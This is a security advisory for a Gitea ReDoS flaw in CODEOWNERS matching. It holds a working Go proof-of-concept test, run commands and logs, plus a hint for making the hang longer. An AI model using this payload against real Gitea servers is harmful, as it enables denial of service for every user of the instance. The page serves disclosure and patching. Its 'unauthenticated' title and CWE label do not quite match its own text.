GHSA-v96j-25gv-g2w9 CVE-2026-58421 GO-2026-6077
Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 33.88% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-284 Improper Access Control
- Fix
1.26.4- Upgrade code.gitea.io/gitea to this version or later
Description
This issue has been found by a security agent and review by myself.
Gitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.
Who can trigger it
Any registered user on the instance. The attacker needs only:
- A repository they own (created via normal signup)
- A
CODEOWNERSfile on the default branch containing malicious patterns - A pull request branch containing a file with a crafted name
No elevated permissions, no admin access, no existing repositories required.
How it is triggered
The attacker pushes a CODEOWNERS file containing repeated instances of a
catastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request
from a branch that contains a file named with a long string of repeated
characters followed by a non-matching character (e.g.
aaaaaaaaaaaaaaaaaaaaaaaaaaX). When Gitea processes the pull request, it evaluates
each CODEOWNERS rule against each changed file path — with no timeout — causing
the server to hang for the duration of the backtracking.
Impact
Every pull request creation runs this evaluation inside a database transaction. A hung evaluation holds that transaction open, tying up a database connection for the entire duration. With 11 rules in the CODEOWNERS file, a single pull request creation request takes over 30 seconds. An attacker opening multiple pull requests in parallel can exhaust the database connection pool, making the Gitea instance unresponsive to all users.
Root cause
The vulnerable regex is here:
PoC
Below is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.
This is tested at commit 689ace1ce28fd74244b8aa335d9928cdbf6b22f9.
tests/integration/pull_redos_test.go
package integration
// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability
// triggered via the full pull.NewPullRequest call chain.
//
// POST /api/v1/repos/{owner}/{repo}/pulls
// -> routers/api/v1/repo/pull.go:CreatePullRequest
// -> pull.NewPullRequest (services/pull/pull.go)
// -> db.WithTx <- holds DB connection for duration of hang
// -> issues_model.NewPullRequest <- inserts PR into DB
// -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS
// -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)
//
// The attacker controls both sides of the match:
// - CODEOWNERS pattern: "(a+)+" compiled as ^(a+)+$ with regexp2.None (no timeout)
// - PR changed file: "aaa...X" forces O(2^N) backtracking states
import (
"fmt"
"net/http"
"net/url"
"strings"
"testing"
"time"
auth_model "gitea.dev/models/auth"
user_model "gitea.dev/models/user"
"gitea.dev/models/unittest"
"gitea.dev/modules/git"
api "gitea.dev/modules/structs"
repo_service "gitea.dev/services/repository"
files_service "gitea.dev/services/repository/files"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {
onGiteaRun(t, func(t *testing.T, u *url.URL) {
user2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})
repo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{
Name: "redos-codeowners",
Readme: "Default",
AutoInit: true,
ObjectFormatName: git.Sha1ObjectFormat.Name(),
DefaultBranch: "main",
}, true)
require.NoError(t, err)
// Push malicious CODEOWNERS to the default branch.
// 11 identical rules × 1 changed file = 11 sequential MatchString calls.
// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.
// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).
var codeowners strings.Builder
for range 11 {
codeowners.WriteString("(a+)+ @user2\n")
}
_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
OldBranch: repo.DefaultBranch,
Files: []*files_service.ChangeRepoFile{
{
Operation: "create",
TreePath: "CODEOWNERS",
ContentReader: strings.NewReader(codeowners.String()),
},
},
})
require.NoError(t, err)
// Create a PR branch containing a file whose path is a late-failing input
// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces
// backtracking through O(2^N) states (~2.8s per rule at 25 chars).
maliciousFilename := strings.Repeat("a", 25) + "X"
_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{
NewBranch: "attack",
Files: []*files_service.ChangeRepoFile{
{
Operation: "create",
TreePath: maliciousFilename,
ContentReader: strings.NewReader("x"),
},
},
})
require.NoError(t, err)
// Obtain an API token for user2 and submit the PR creation request.
// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and
// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB
// connection for the duration of the backtracking hang.
session := loginUser(t, user2.Name)
token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)
start := time.Now()
req := NewRequestWithJSON(t, http.MethodPost,
fmt.Sprintf("/api/v1/repos/%s/%s/pulls", user2.Name, repo.Name),
&api.CreatePullRequestOption{
Title: "ReDoS PoC",
Head: "attack",
Base: repo.DefaultBranch,
},
).AddTokenAuth(token)
MakeRequest(t, req, http.StatusCreated)
elapsed := time.Since(start)
t.Logf("pull.NewPullRequest completed in %s", elapsed)
assert.Greater(t, elapsed, 25*time.Second,
"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised")
})
}
Now run:
# 1. Build the binary (needed for git hooks during repo creation)
make build
# 2. Run the test
go test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/
When the unit test starts, you should see that it takes 30 seconds with the following output:
=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)
testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta
testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)
testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)
testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)
testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)
pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s
+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)
--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)
PASS
You can modify the "11" number in the CODEOWNERS file to manage execution speed directly:
for range 11 {
codeowners.WriteString("(a+)+ @user2\n")
}
A higher number of lines will increase the execution time.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.26.4 |
1.26.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.26.4
- go
go get code.gitea.io/gitea@v1.26.4 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
- github.com/go-gitea/gitea/security/advisories/GHSA-v96j-25gv-g2w9
- github.com/go-gitea/gitea/pull/38011
- github.com/go-gitea/gitea/commit/ea35af1b68d57522c7686618bd61d3216d91589f
- blog.gitea.com/release-of-1.26.3-and-1.26.4
- github.com/go-gitea/gitea/releases/tag/v1.26.4
- blog.gitea.com/release-of-1.26.3-and-1.26.4
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
| GHSA-fw57-jgch-pgf3 Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests | High | Also affects code.gitea.io/gitea |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor